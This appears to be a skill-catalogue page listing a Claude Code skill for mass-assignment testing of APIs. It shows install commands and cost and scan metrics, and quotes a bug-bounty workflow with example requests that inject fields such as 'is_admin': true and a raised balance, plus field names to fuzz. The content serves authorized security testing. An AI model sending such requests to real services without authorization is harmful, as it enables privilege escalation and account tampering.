mass-assignment-exploitation

mass-assignment-exploitation is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 47 tokens per session (1,444 once invoked), scanned A, original, Apache-2.0.

A security-testing guide for mass assignment, a programming mistake where an API copies user-supplied fields directly into a database record, including fields meant to stay private.

In plain words
What is it for?
Use it to inspect API responses and test JSON requests in REST or GraphQL services for unauthorized changes to internal or administrative fields.
Why use it?
It helps reveal whether an ordinary user can change hidden settings such as administrator status or account balances by adding extra fields to a request.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it to inspect API responses and test JSON requests in REST or GraphQL services for unauthorized changes to internal or administrative fields.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for mass-assignment-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for mass-assignment-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 47 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,444 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00047 $0.01444
Opus 5 $0.00023 $0.00722
Sonnet 5 $0.00009 $0.00289
Haiku 4.5 $0.00005 $0.00144

Measured 11d ago against content hash 5d53297024b3, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

mass-assignment-exploitation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/bug-hunting/apis/mass-assignment-exploitation/SKILL.md · 157 lines

How it starts

The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.

API Mass Assignment Exploitation

When to Use

  • When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
  • To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Object Inspection

# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>

# Response {
  "id": 123,
  "username": "tester",
  "email": "[email protected]",
  "is_admin": false,
  "balance": 0.00
}

Phase 2: Injecting Hidden Fields in PUT/POST Requests

# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>

{
  "username": "tester2",
  "is_admin": true,
  "balance": 9999.00
}

Phase 3: Bypassing Filters using Payload Variations

// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }

Phase 4: Fuzzing for Hidden Fields

If the response doesn't leak internal field names, fuzz using common patterns.

# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
Decision Point 🔀
flowchart TD
    A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
    B -->|Yes| C[Re-inject in POST/PUT ]
    B -->|No| D[Fuzz Common Hidden Fields ]
    C --> E[Verify Update/PrivEsc ]

🔵 Blue Team Detection & Defense

  • Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts | Concept | Description | |---------|-------------|

Read the full file on GitHub · 157 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 157 lines · 47 tokens per session scan A 5d53297024b3

Subscribe to this mod's changes

mass-assignment-exploitation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 47 tokens to every session and 1,444 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

exploiting-mass-assignment-in-rest-apis

Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.

balsm-health/Balsm-AI · 41 tokens

api-mass-assignment-exploitation

Identify and exploit Mass Assignment vulnerabilities in APIs. Use this skill when testing REST APIs or application forms that directly map user-supplied JSON or POST input to internal database objects. An attacker can inject undocumented variables (e.g., isadmin, verified) to illegally modify restricted properties.

ShulkwiSEC/bb-huge · 68 tokens

jwt-null-signature

Exploit JSON Web Tokens (JWT) by implementing the 'None' algorithm attack. This skill details how to bypass authentication mechanisms when a server improperly accepts JWTs with the alg header set to none, allowing attackers to forge tokens without a valid signature.

ShulkwiSEC/bb-huge · 60 tokens

detecting-broken-object-property-level-authorization

Detect and test for OWASP API3:2023 Broken Object Property Level Authorization vulnerabilities including excessive data exposure and mass assignment attacks.

xalgorix/xalgorix · 36 tokens

exploiting-broken-function-level-authorization

Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating…

xalgorix/xalgorix · 108 tokens

implementing-api-schema-validation-security

Implement API schema validation using OpenAPI specifications and JSON Schema to enforce input/output contracts and prevent injection, data exposure, and mass assignment attacks.

xalgorix/xalgorix · 35 tokens